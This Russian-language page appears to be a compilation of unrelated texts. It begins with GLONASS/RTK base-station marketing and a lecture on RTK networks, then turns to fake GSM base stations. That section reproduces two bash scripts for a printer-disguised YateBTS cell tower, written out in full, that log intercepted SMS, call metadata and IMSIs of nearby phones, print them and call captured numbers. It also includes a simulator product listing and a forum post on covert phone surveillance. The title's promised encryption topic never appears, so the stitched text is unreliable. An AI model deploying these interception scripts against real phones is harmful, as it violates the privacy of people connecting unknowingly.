Сети базовых референцных станций RTK. Прикидываемся базовой станцией. Выработка ключа шифрования

25.04.2019

«Во-первых, развитие ГЛОНАСС формирует серьёзный спрос на новые технологии и современный интеллектуальный продукт, - заявил на совещании, посвященного картографическому обеспечению системы ГЛОНАСС 6 апреля 2010 года. - Во-вторых, принципиально меняет практику управления в экономике, повышает эффективность на транспорте, в сельском хозяйстве, в жилищно-коммунальном хозяйстве, предоставляет широкий спектр востребованных услуг для граждан. Цель заключается в том, чтобы применение отечественной системы навигации стало по-настоящему массовым». В настоящее время спутниковая навигация развивается достаточно быстрыми темпами. Наиболее перспективным направлением навигации является направление высокоточного позиционирования , особенно в режиме RTK (Real Time Kinematic), позволяющем существенно сократить время, затрачиваемое на необходимые измерения при достижении высокой точности. Уже сейчас во многих европейских странах развернуты сети базовых станций, с помощью которых решаются вопросы оперативного высокоточного решения измерительных задач. Однако на работу в режиме RTK в первую очередь влияют такие факторы как удаленность от базовой станции, стабильность ее работы, а также наличие общих спутников, видимых всеми станциями сети. Для того чтобы избавиться от накапливающихся в результате воздействия этих факторов ошибок, была разработана технология VRS (Virtual Reference Stations). Использование введенного функционала VRS существенно расширяет применение режима RTK за счет минимизации ошибок в дифференциальных поправках. Преимущества VRS Принцип работы виртуальной базовой станции прост: на определенной территории устанавливается несколько базовых станций. Из-за упомянутых выше источников ошибок, проводить работы в режиме RTK проблематично, так как необходимо действовать на определенном расстоянии от базовой станции, что снижает площадь, на которой потенциально могут проводиться работы. Однако за счет VRS этого можно избежать. Информация о спутниковых данных, полученная базовыми станциями, передается на специализированный сервер. После этого происходит накопление и обработка информации, и формируется база дифференциальных поправок для всей площади, покрываемой сетью станций. После этого мобильный ГНСС-приемник связывается с сервером, и с помощью системы NTRIP передает свои приблизительные координаты. Далее на сервере формируется виртуальная базовая станция – воображаемый объект, обладающий всеми свойствами реальной станции. Виртуальная станция располагается на расстоянии в 10-15 метров от ГНСС-приемника, принимающего дифференциальные поправки уже от виртуальной станции. Затем, с помощью специализированного программного обеспечения «ПИЛОТ», созданного на базе разработок Trimble VRS3Net, запускается режим генерации поправок от виртуальной станции – таких же, какие получала бы реальная. Таким образом, достигается субсантиметровая точность измерений на больших – 50-70 км – расстояниях в реальном времени, равномерно распределенная по всей площади покрытия сети. Съемка в RTK-режиме при использовании VRS-технологии предоставляет следующие преимущества: сокращение времени измерений в 2-3 раза, увеличение площади покрытия для проведения RTK без установки дополнительных базовых станций, оперативное определение координат базовых станций в единой системе координат, обеспечение целостности и надежности работы сети; кроме того, прием и передача сигналов осуществляется с помощью услуг сотовых операторов, что снимает ограничения, накладываемые параметрами радиовидимости. Преимущества, которые дает использование VRS в режиме RTK особенно актуальны при проведении геодезических и топографические работ, нефтегазовых разработках и добыче полезных ископаемых, в дорожном и инфраструктурном строительстве, а также в автоматизации процессов. Первые российские аппаратно-программные комплексы В 2010 году, ОАО «Российская корпорация ракетно-космического приборостроения и информационных систем» (ОАО «Российские космические системы»), совместно с американской компанией «Trimble», создала совместное предприятие ООО «Руснавгеосеть». ООО «Руснавгеосеть» - единственное российско-американское предприятие в сфере спутниковой навигации. В распоряжении компании самые современные технологии «Trimble», и на их основе компания производит ГНСС-приемники «ФАЗА+» и специализированное программное обеспечение «ПИЛОТ». Оборудование и программное обеспечение полностью локализовано, и отличается от продукции «Trimble» большим удобством для отечественных потребителей. «ФАЗА+» оборудована 440 приемными каналами . На данный момент это самый большой показатель в сегменте ГНСС-оборудования, что позволяет предположить, что, даже учитывая рост спутниковых группировок, «ФАЗА+» сможет работать в течение нескольких десятков лет без необходимости замены. Кроме того, большое число каналов позволит принимать сигналы все большего количества спутников – не только группировок ГЛОНАСС и GPS, но и еще не запущенных в полную силу Galileo и Compass/Beidou, что потенциально увеличит точность и надежность сетей. Приемник оборудован встроенной 8 Гб памятью. Большинство аналогов располагают либо меньшей памятью, либо только возможностью подключения внешних хранилищ. Наличие встроенной памяти позволяет сохранять накопленные объемы данных в течение, как минимум, трех месяцев (в зависимости от формата хранения данных). Более того – к приемнику возможно подключение внешних накопителей с объемом памяти до 1 Тб.

«ФАЗА+» программируется с помощью собственного интерфейса, и не требует подключения компьютера. Кроме того, «ФАЗА+» оснащена интуитивно понятным дисплеем, на котором отображается информация о выполняемых операциях.

«ФАЗА+» прошла сертификацию на утверждение типа средства измерения. Для работы сети референцных станций используется программное обеспечение «ПИЛОТ». Функциональные возможности программы в базовой комплектации превосходят существующие аналоги – программа Trimble VRS3Net, лежащая в основе «ПИЛОТ», в состоянии поддерживать наибольшую на данный момент сеть из более чем тысячи двухсот референсных станций, расположенную в Японии. Программа полностью русифицирована. «ПИЛОТ» поддерживает гибкую биллинговую систему, позволяющую подстраиваться под действия того или иного пользователя в зависимости от его требований. В результате пользователь может настроить индивидуальную программу получения поправок и сэкономить средства. При этом операторы сети могут рассчитать собственные тарифные планы, чтобы оптимизировать предоставление услуг, и, таким образом, получить дополнительные конкурентные преимущества. Программа поддерживает работу в сети оконечных устройств практически любых производителей. Так, большинство аналогичных программ требуют работы в сети устройств, созданных разработчиком. «ПИЛОТ» же может работать с любой сетью, в которой действует аппаратура любых производителей без потери качества предоставления поправок. При этом «ПИЛОТ» располагает уникальным алгоритмом интеграции оконечных устройств – это единственное существующее на данный момент программное обеспечение российского производства, способное предоставлять поправки на ГНСС-приемники большинства известных марок. Программный продукт обеспечивает контроль целостности полученных от базовых станций данных. Так, в случае перебоев со связью с той или иной станцией, «ПИЛОТ» пересчитывает поправки – таким образом, работы в RTK-режиме не зависят от перебоев связи, проблем с электричеством или иных непредвиденных обстоятельств. Надежность работы «ПИЛОТ» обеспечивается за счет использования кластерных технологий дублирования данных и технологий облачного вычисления. В целом надежность решений на базе ПО «ПИЛОТ» составляет более 99,9%. Сети станций «под ключ» Учредители компании имеют непосредственное отношение к космическим технологиям. «Российские космические системы» - это ведущее предприятие космической отрасли, специализирующееся на разработке, изготовлении, авторском сопровождении и эксплуатации космических информационных систем. «Trimble Navigation Group» – один из лидеров в сфере спутникового позиционирования. Российское производство дает ряд преимуществ: «Руснавгеосеть», как компания-производитель, строит отношения с партнерами на стратегической основе. Мы не зависим от поставок оборудования, перебоев в международном сообщении или работы таможни, а, следовательно, можем предложить решения любой сложности и объема. Наше оборудование полностью соответствует российским и мировым стандартам качества, и компания оказывает весь спектр услуг по технической поддержке и наладке сетей референцных станций. При этом за счет собственного производства, цены на ГНСС-оборудования премиум-класса ниже стоимости зарубежных аналогов. Кроме того «Руснавгеосеть» предоставляет гибкие партнерские программы, включая разнообразные программы аренды, лизинга и утилизации оборудования, проводит обучение персонала работе с оборудованием и предоставляет методические материалы.

Лекция 3 Базовая станция. Сеть базовых станций.

RTK-сеть – это сеть постоянно действующих GNSS геодезических приемников (базовых станций), данные с которых используются для формирования RTK-поправок для работы в режиме реального времени. Такое формирование поправок получило название «Сетевое RTK». Данные сети могут варьироваться по размеру от небольших локальных сетей, состоящих из нескольких базовых станций, до обширных национальных проектов, которые покрывают территорию всей страны.

RTK-поправки могут формироваться различными способами:

§ Master-Auxiliary corrections (MAX);

§ Индивидуальные MAX (i-MAX);

§ Виртуальная базовая станций (VRS);

§ Flachen-Korrektur-Parameter (FKP) – метод площадных поправок.

Одиночная базовая станция может быть установлена на крыше офисного здания, на постоянной основе, или только на время выполнения работ в поле на исходном пункте. Принцип работы в режиме RTK заключается в том что, базовая станция устанавливается на точке с известными координатами и передает поправки на ровер-приемник. Как правило, используется односторонняя линия связи.

Основные этапы при работе в режиме RTK:

§ базовая станция и ровер принимают сигналы от одного и того же созвездия спутников;

§ базовая станция передает свои координаты и спутниковые измерения на ровер;

§ ровер совместно обрабатывает измерения с базовой станции со своими измерениями и вычисляет координаты в режиме реального времени.

Координаты вычисляются с использованием специальных алгоритмов. Основным преимуществом данного алгоритма является возможность надежной и эффективной работы на расстоянии до 50 км от базовой станции.

Преимуществом одиночной базовой станции является относительно простой и понятный принцип работы, а недостатком – приобретение локальной базовой станции, временные затраты на установку и настройку базовой станции, уменьшение точности определения координат с удалением ровера от базовой станции. Уменьшение точности определения координат при увеличении расстояния от базовой станции происходит в основном из-за влияния атмосферы. По мере увеличения расстояния, увеличивается разница в состоянии атмосферы над ровером и базовой станцией. Это делает более затруднительным для ровера процесс разрешения неоднозначности фазовых измерений и приводит к уменьшению точности.

Для сетевого RTK базовые станции расположены на расстоянии не более 70 км друг от друга. Они являются постоянно действующими и составляют сеть RTK .

Первое требование для реализации сетевого метода RTK заключается в том, что все базовые станции сети должны непрерывно передавать спутниковые данные на центральный сервер, где установлено специализированное программное обеспечение (рис. 2.17). Целью сетевого RTK является минимизация влияния ошибок, зависящих от расстояния, на определения координат в пределах территории покрываемой сетью базовых станций. При функционировании сети базовых станций RTK ровер и центральный сервер (через базовые станции) наблюдают одно и то же созвездие спутников; используя соответствующий алгоритм, центральный сервер разрешает неоднозначность фазовых измерений на базовых станциях сети; сервер формирует и передает RTK поправки роверу; затем ровер использует RTK поправки для получения RTK решения.

Рис. 2.17 Принцип работы сети базовых станций RTK

Ровер подключается к центральному серверу с использованием односторонней или двухсторонней линии связи (радиомодем, GSM соединение или Интернет). Как только ровер получает RTK-данные, он вычисляет свое местоположение, используя соответствующий алгоритм. Какой алгоритм использует ровер, и как минимизируются ошибки за расстояние, зависит от применяемого метода сетевого RTK.

В методах МАХ и VRS выполняется минимизация ошибок с использованием различных концепций. В зависимости от выбранного метода данный процесс моделирования выполняется или центральным сервером или непосредственно ровером. В отличие от них старейший способ Flachen-Korrektur Parameter (FKP, метод площадных поправок), разработанный в середине 1990 годов, требует, чтобы ровер передавал свои приближенные координаты в центр управления сетью. Сервер рассчитывает и передает пользователю данные от одной из базовых станций и коэффициенты зависимости ошибок от расстояния. Эти коэффициенты вычисляются, исходя из предположения, что ошибки изменяются линейно с увеличением расстояния от базовой станции. Такие поправки могут применяться в ограниченной области и не всегда обеспечивают должное качество позиционирования.

К достоинствам сетевого RTK можно отнести отсутствие необходимости в установке временных базовых станций на исходных пунктах; равноточное определение координат ровера; обеспечение высокоточных результатов при значительных расстояниях между базовыми станциями и ровером; использование меньшего количества станций для покрытия одной и той же территории по сравнению с количеством станций при использовании обычного RTK; более высокая надежность и доступность получения RTK-поправок (даже если одна из базовых станций перестает функционировать, другая станция продолжает поддерживать работу ровера).

Способы формирования RTK-поправок должны быть стандартизованными, опирающимися на опубликованные алгоритмы. Это гарантирует, что информация, получаемая роверами от сети, не зависит от производителя оборудования и соответствует международным стандартам.
Если ровер способен выбирать, данные скольких и каких базовых станций будут использованы для получения решения, какую методику применить для уменьшения ошибок, будет получено решение, управляемое ровером. Преимущество такого подхода в том, что ровер может постоянно оценивать точность получаемого RTK-решения и следить за эффективностью дифференциальной коррекции. Ровер также может выбрать другую стратегию коррекции и получить более подходящее сетевое решение. Когда сервер управляет сетевым решением, он применяет одну стратегию для всех роверов. Чтобы обеспечить роверу возможность максимально эффективно и точно вычислять собственные координаты, метод формирования сетевых RTK-поправок должен использовать все доступные спутниковые данные. Поэтому важным является возможность сети и роверов принимать данные GPS, ГЛОНАСС, Galileo.

Условия взаимодействия сети и ровера:

§ наблюдение одних и тех же спутников. Ровер и сервер (посредством базовых станций) должны наблюдать общий набор спутников;

§ разрешение сетевой неоднозначности. На основе соответствующего алгоритма сервер разрешает сетевую неоднозначность и уменьшает спутниковые данные до этой общей неоднозначности;

§ формирование RTK-поправок. Сервер формирует и передает поправки роверу в стандартном и нестандартном видах;

§ RTK-решение. Ровер использует поправки для вычисления собственных координат в режиме реального времени.

Заявляемые производителями и подтвержденные опытом работ преимущества технологии RTK сомнений не вызывают. Однако ряд вопросов, касающихся как технологического характера, так и точности определения пространственных координат, порождает множество дискуссий при выборе метода для проведения геодезических работ различного назначения и класса точности.

К таковым можно отнести следующие основные позиции:

§ влияние качества исходных координат пунктов опорных геодезических сетей (как государственных, так и ведомственных);

§ наличие нескольких местных (региональных) плоских прямоугольных систем координат и недоступность сведений о параметрах их задания;

§ эффективность использования мультисистемных спутниковых приемников глобальных навигационных спутниковых систем (ГНСС) GPS и ГЛОНАСС;

§ специфика работы в сложных условиях (застроенная или покрытая густой растительностью территория);

§ необходимость строгого соблюдения требований нормативных документов и методических рекомендаций при измерениях.

Референц-станция ЮУрГУ была установлена в 2013 году. Для размещения референц-станции была выбрана крыша 10-ти этажного здания, 3 учебного корпус ЮУрГУ, расположенного по адресу: г.Челябинск, пр. Ленина, д.87 (рис. 2.1). Установка осуществлялась в соответствии с «Рекомендации по размещению и эксплуатации постоянно действующих референсных станций».

Рисунок 2.1 – Расположение референц станции

Привязка и уравнивание референц-станции на территории города Челябинска выполнена в местной системе координат МСК-74 и Балтийской системе высот 77 года. Установка референц-станции проводилась согласно Рекомендациям по размещению и эксплуатации постоянно действующих референц-станций (CODS) (международный стандарт), эксплуатируемой геодезической службой (NGS) NOAA (США).

Для установки базовой станции предъявляются следующие требования:

1. согласованный доступ на место установки антенны (антенна должна быть размещена под открытым небосводом, с ограниченным доступом к ней). Место установки антенны показано на рисунке 2.2;

Рисунок 2.2 – Крепление антенны

2. необходимо заранее предусмотреть возможные варианты прокладки коаксиального кабеля от антенны к приемнику;

3. местоположение антенны не должно превышать 30м от базового приемника (ограниченно кабелем);

4. отдельное рабочее место с безлимитным доступом в Интернет и выделенным статическим IP-адресом, для непосредственного подключения к нему базового приемника;

5. доступ к сетевому питанию – 2 розетки по 220В 50Hz;

6. оборудованное рабочее место;

7. рабочее место должно использоваться именно под базовую станцию, для исключения помех в работе в режиме реального времени.

Схема установки референц-станции ЮУрГУ представлена на рисунке.


Рисунок – Схема установки референц-станции

Для размещения Базовых станций RTK обследуются пункты государственной геодезической сети в системе координат МСК-74 в Челябинском городском округе. Затем проведены работы по подготовке пунктов к проведению спутниковых наблюдений.

По результатам обследования пунктов ГГС составлен рабочий проект размещения спутниковых геодезических приемников для уравнивания базовой референц-станции.

Наблюдения на пунктах ГГС и местах установки базовых станций выполняются GNSS-приемниками прошедшими метрологическую поверку в соответствии с требованиями и рекомендациями.

Установка антенны спутникового приемника над центром пункта, не имеющего устройства для принудительного центрирования, осуществлялись с применением поверенных и отъюстированных оптических центриров с точностью 1 мм.

Спутниковые наблюдения на пунктах ГГС выполняются с использованием статического режима при различных расстановках приемников, продолжительность синхронных наблюдений на пунктах сети, при расстояниях между смежными пунктами до 50 км, производилось не менее 0,5 часа.

Базовая станция GSM

Спецслужбы и разведка в разных странах мира используют фальшивые базовые станции (IMSI-ловушки, у американцев называются StingRay), которые работают в пассивном или активном режиме . В пассивном режиме фальшивая станция просто анализирует сигнал с окружающих базовых станций. Гораздо интереснее, когда устройство переводят в активный режим. В этом случае IMSI-ловушка заставляет подключиться к себе окружающие клиентские устройства сотовой связи, отключая их от базовой станции оператора (МТС, «Вымпелком» и т.д.). Задача осуществляется с помощью трансляции более мощного сигнала, чем окружающие станции (более подробно о работе фальшивых базовых станций см. в статье "The Brave New World of Cell-Site Simulators" (Albany Law School: 11–12. doi: 10.2139/ssrn.2440982).

Фальшивые базовые станции используют не только спецслужбы, но и другие лица. Например, в последнем сезоне Mr. Robot хакеры установили фемтосоту (маломощная и миниатюрная станция сотовой связи) прямо в офисе ФБР, получив возможность прослушивать их разговоры. В бизнесе конкуренты могут использовать такое устройство, чтобы незаметно прослушивать разговоры другой стороны. В России Наталья Касперская шпионские фемтосоты в офисах коммерческих компаний, чтобы руководство могло спокойно записывать разговоры сотрудников и посетителей.


Аппарат подключился к фальшивой сотовой станции PRISM: The Beacon Frame . В рамках исследовательского проекта станция высылает уведомление о подключении на телефон абонента. Настоящая инфраструктура спецслужб работает без рассылки уведомлений

Подобные гаджеты очень востребованы в современную эпоху, потому что очень многие люди постоянно пользуются сотовой связью, передавая по этим каналам конфиденциальную информацию, не используя end-to-end шифрование. Очень удобно идентифицировать людей по их телефонным номерам.

Герои сериала Mr. Robot положили фемтосоту под стол рядом с маршрутизатором. Очевидно, что в таком виде она не может работать долго, потому что рано или поздно «лишний» прибор заметит уборщица или случайный агент, который наклонится вниз. К тому же, фемтосота обладает совсем небольшим радиусом действия, так что вряд ли она сможет перебить сигнал настоящей базовой станции для абонентских устройств на соседних этажах. Она гарантированно будет работать разве что в пределах одного офиса, а дальше - как повезёт.

Чтобы исправить этот недостаток, в офисе требуется устанавливать более мощную базовую станцию. Но как её замаскировать? Отличное решение предложил новозеландский инженер Джулиан Оливер (Julian Oliver). Он разработал конструкцию базовой станции, замаскированной под офисный принтер HP .

На улицах базовые станции маскируют под объекты окружающей среды - деревья или фонари .


Сотовая станция, плохо замаскированная под пальму. Марракеш, Марокко


Сотовая станция, замаскированная под фонарь, зачем-то поставлена рядом с настоящем фонарём. Милтон-Кинс, Великобритания

Лазерный принтер Hewlett-Packard Laserjet 1320 для офисного пространства выглядит так же естественно, как фонарь на улице. Он не вызовет подозрений. По крайней мере до тех пор, пока продолжает исправно работать. В демонстрационных целях в проекте Оливера принтер настроен на автоматическую печать метаданных о перехваченных звонках и сообщениях SMS, вместе с текстом этих сообщений.

Автор подробно разъяснил, как устроена фальшивая базовая станция. В корпус принтера поместили программируемый SDR-трансивер BladeRF (об этом замечательном приборе рассказывали на Хабре). На фото он закреплён справа вверху. Трансивер подключается к миниатюрной плате Raspberry Pi 3 (слева внизу), и вся хакерская электроника подключена к материнской плате принтера (самая большая плата на фотографии).

Для питания используется автомобильный USB-адаптер, преобразующий принтерные 21−22 В в 5 В, необходимые для трансивера и «малинки». Такие адаптеры обычно вставляют в прикуриватель автомобиля (12−24 В) для питания портативной электроники.

Отсек для картриджа слегка модифицирован, чтобы поместились две всенаправленные антенны (TX и AX), подключенные кабелем SMA к трансиверу BladeRF.

Автор работы говорит, что выбрали принтер Hewlett-Packard Laserjet 1320 по нескольким причинам. Во-первых, у него поразительно неприметный внешний вид - совершенно безликий дизайн, который не привлекает к себе внимания. Во-вторых, внутренние полости в корпусе идеально подходят для размещения всей электроники и кабелей. Ни одна деталь не выходит наружу и не видна извне, кроме стандартного кабеля питания. При подключении USB-адаптера в стандартный разъём Hewlett-Packard Laserjet 1320 нормально функционирует как обычный офисный принтер.

Raspberry Pi 3 выбрали после безуспешных попыток обеспечить стабильную работу программы-контроллера базовых станций YateBTS под Intel Edison, Beaglebone Black и даже I-MX6 Marsboard. В отличие от древней OpenBTS, программа YateBTS более требовательна к производительности процессора.

Программное обеспечение фальшивой базовой станции в принтере работает поверх открытого кода YateBTS. В демонстрационных целях разработано несколько скриптов. Например, один из них фильтрует лог, формирует документ PDF и отправляет его на печать.

#!/bin/bash readonly FH=/home/pi/yate.log rm -f $FH # Start the BTS, log to $FH and background yate 2>&1 -l $FH & sleep 1 echo "Starting up..." last=" " while true; do # Poll every 10 seconds sleep 10 # Check log for new sniffed "call route" entries and do some subbing cur=$(cat $FH | grep -A 16 "Sniffed\ "call.route"" | sed -e "s/param\["//" \ -e "s/"\]//" -e "s/thread.*//" -e "s/time\=.*//" \ -e "s/\ data=(.*//" -e "s/\ retval=.*//" \ -e "s/\ tmsi.*//" -e "s/ybts/Stealth\ Cell\ Tower/" \ -e "s/Sniffed/Monitored\ =/" -e "/^\s*$/d" \ -e "s/^\s*//" | tail -n 13) if [ "$cur" != "$last" ]; then if [ ${#cur} -gt 1 ]; then echo "New SMS events detected" # Test to see if an IMSI is in the string. If not, look it up and put it in if [[ $cur != *imsi* ]]; then caller=$(echo "$cur" | grep "caller" | awk "{ print $3 }" | sed "s/"//g" \ | tr -cd "[:print:]") imsi=$(cat /usr/local/etc/yate/tmsidata.conf | grep "$caller" \ | cut -d "=" -f 1) cur=$(echo "$cur" | sed -e "s/\ called\ .*/imsi\ =\ "$imsi"/") fi # Make it all uppercase event=$(echo -e \\n"$cur" | tr "a-z" "A-Z") echo "printing file..." echo "$event" > printme # Format a postscript file with enscript enscript -r --header="SMS EVENT RECORD|%W|%* UTC" -i2cm --margins=10:10:30:10 \ -o printme.ps -f Courier@15/12 printme # Convert to PDF ps2pdfwr printme.ps printme.pdf # Send it to the print queue for immediate processing lp -U pi -o a4 -q 100 -d hp_LaserJet_1320_2 printme.pdf fi last=$cur fi done

Другой скрипт случайным образом выбирает один из телефонных номеров, которые подключились к базовой станции, звонит ему и воспроизводит классический хит Стиви Уандера "I Just Called To Say I Love You" .
#!/bin/bash readonly HOST=127.0.0.1 readonly PORT=5038 readonly DATA=/usr/local/share/yate/sounds/stevie.au readonly TMSI=/usr/local/etc/yate/tmsidata.conf readonly CC=49 #MSISDN prefix, matching that of definition in yate conf. callone () { # Play "I Just Called To Say I Love You" by Stevie Wonder, on pickup echo "call wave/play/$DATA $mt" | netcat -i 1 -q 1 $HOST $PORT # Or, setup channel and route to IAX/SIP # echo "call "iax/iax:[email protected]/$PORT" $mt" | netcat -q 1 $HOST $PORT } callall() { for mt in ${UES[@]} #override $mt do echo "calling $mt" callone done } while true; do tmsilen=$(wc -l $TMSI | awk "{ print $1 }") ues=($(cat $TMSI | grep -A $tmsilen ues | sed "s/\//" | cut -d "," -f 3)) if [ ! -z $ues ]; then ueslen=${#ues} RANGE=$ueslen select=$RANDOM let "select%=$RANGE" mt=${ues[$select]} callone fi sleep 30 done

Скомпилированные бинарники для Raspberry Pi 3:

Имитатор базовой станции предназначен для обнаружения, идентификации и местоопределения электронных устройств негласного получения информации, использующих для передачи информации каналы сотовой связи.

Имитатор разработан в соответствии с современными методиками поиска устройств сотовой связи. Рекомендуется использовать при проведении специальных обследований выделенных помещений и специальных проверок технических средств.

Краткое описание

Имитатор «ИБС-2G» управляется и настраивается при помощи ПЭВМ (ноутбук). Оператору предоставлена возможность развернуть на месте проведения работ ложную базовую станцию GSM 900/1800. При этом произвольно настраиваемыми являются следующие параметры БС:

  • имя оператора (код страны MCC, код сотовой сети MNC)
  • номер канала (CH, частота)
  • номер базовой станции (Cell ID)
  • код локальной зоны LAC (Local Area Code)

Принцип работы

Имитатор принудительно в автоматическом режиме переводит находящиеся в помещении устройства сотовой связи стандарта GSM под свое управление. Затем становятся доступными следующие функции:

  • определение IMEI/IMSI обнаруженных устройств;
  • отправка произвольного SMS;
  • перевод GSM-устройства в активный режим (режим передачи) на продолжительное время.

При удержании устройства в активном режиме с максимальной излучаемой мощностью оператор обнаруживает GSM-закладку в помещении с помощью узкополосного индикатора поля.

Технические характеристики

Возможности оборудования по активному поиску устройств сотовой связи

Имитатор выполняет роль ложной базовой станции GSM 900/1800 МГц. Для принудительного перевода мультистандартных закладных устройств в режим GSM рекомендуется осуществлять подавление в диапазонах 3G/4G с помощью ПАК «Саламандра»

Состав комплекта

  1. Радиомодуль в переносном кейсе 1 шт.
  2. Шнур питания 220 В 1 шт.
  3. Интерфейсный кабель USB 2.0 (Ethernet) 1 шт.
  4. Управляющая ПЭВМ (ноутбук), опционально 1 шт.
  5. Программное обеспечение «ИБС-2G» (предустановленное или на компакт-диске) 1 ед.
  6. Инструкция по эксплуатации 1 шт.
  7. Паспорт изделия 1 шт.
  8. Индикатор поля в комплекте, опционально 1 шт.

Описание актуально на: 02.02.2015.

Для уточнения технических характеристик «Имитатор базовой станции GSM 900/1800 "ИБС-2G"», а также для получения информации по наличию и условиям поставки Вы можете заполнить форму запроса ниже.

Да речь не о том чтобы как-то что-то где-то там мега за секретить.

Речь о том чтобы можно было пользоваться мобильниками и опасаться банального промышленного шпионажа, теме же конкурентами.

К примеру ты сидишь с кем-то в закрытом кабинете, и ведешь беседу с глазу на глаз. Так вот, самым первым шпионским "жучком" в твоем помещении является твой же собственный мобильный телефон. Звоумышленник может заставить его скрытно передавать аудиосигнал наружу. И для этого не нужно какое-то особое шпионское оборудование, там достаточно простое решение на базе усилителей сигналов сотовой связи. Они имитируют сигнал реальной базовой станции оператора, телефон подключается от настоящей БС к ней, и уже тогда они посылают на телефон команду для активации микрофона и начинают писать звук, того что в данный момент происходит в помещении, если идет какой-то разговор или голос то они это записывают. Вот так вот все просто. В инете полно разных предложений подобного рода которые предлагают такую услугу.

Поставить грушилку, это как вариант. Но тогда и телефон будет не в он-лайне, не на связи. Те кто тебе будут звонить - не дозвонятся.

Я счас нашел кое какое решение, я заключил специальный договор с мегафонон и они мне в офисе поставили свои мини-базовый станции, так называемые фемто соты. Телефон подключаются к ней, причем только мой и те что я прописал по IMEI!!! А везде по офису я развесил глушилки. В кабинете, телефон подключен к этой миниБС. А как только выходишь из кабинета телефон теряет сигнал этой миниБС, и подключается к другой миниБС (у меня их несколько), а к большой БС он уже не может подключиться из-за глушилок, он так же не сможет подключиться и к внешней виртуальной БС, так как глушилки ему этого не дадут сделать, он просто не услышит ее. Все кто ко мне приходит в гости, посетители. У них у всех автоматически перестает работать телефон, причем на всех диапазонах, не важно какой оператор. Внешную БС они не слышат, а моя миниБС их не принимает потому что IMEI не прописан, но на самом деле там не IMEI, там что-то похожее от IMEI только от SIMкарты. Это аналог IMEI, но не на телефон, а на SIM карту. Тоже уникальная хрень.

Минус этой идеи что я защищен только у себя в кабинете. На окнах кстати у меня генераторы шума, так что лазером тоже не считаешь.

Я хочу сделать так чтобы был такой телефон который бы игнорировал команды по негласному получению информации. Я сам готов разработать такой телефон, лицензии на разработку средств защиты информации у меня есть! Так что все легально. Так вот мне для тестирования нужна такая виртуальная БС, с помощью которой злоумышленники воруют информацию. Для тестирования разумеется!!!

А теперь информация для раздела БИЗНЕС. Я ищу партнеров в этот проект, в частности финансовых инвесторов. Ориентировочные вложения от 1 до 10 млн долларов. (это еще требует уточнения) большая часть ресурсов у меня есть, лицензии, технари и прочее.

Если кому интересно прошу отписываться в этой теме, так как личка часто не работает. Практически не работает и не читается.

Похожие статьи